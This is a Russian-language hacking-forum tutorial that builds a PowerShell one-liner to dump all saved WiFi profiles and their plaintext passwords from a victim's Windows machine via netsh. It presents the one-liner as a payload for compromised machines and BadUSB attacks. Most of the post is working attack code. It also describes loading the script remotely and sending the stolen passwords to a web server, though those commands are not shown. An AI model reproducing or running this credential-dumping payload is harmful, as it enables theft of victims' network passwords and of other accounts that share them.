Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"
Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)
И так. Вот что мы освоим в этой статье:
- Научимся смотреть информацию о WiFi подключениях средствами командной строки Windows
- Извлекать сохраненные пароли в командной строке Windows
- Немного освоим регулярные выражения в PowerShell
- С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
- Закрепим подгрузку PowerShell через WEB
- Закрепим отправку данных на веб-сервер методом
Ссылка скрыта от гостей.
- Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
- Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
- Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
- Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa )
- Ну и для общего развития
Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile <SSID_NAME> key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора
Ссылка скрыта от гостей
:(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}
Теперь по этому же принципу нужно отобразить пароль от каждой SSID :
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :
Но опять же таки тут много лишнего текста:
Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$"
И конечная команда наша будет иметь примерно следующий вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
Ну а далее все по накатанной схеме:
Размещаем к примеру:
Подгружаем на скомпрометированной машине:
И ловим пароли от WiFi:
Всем спасибо за внимание)
Видео немножко поже сделаю.
Последнее редактирование: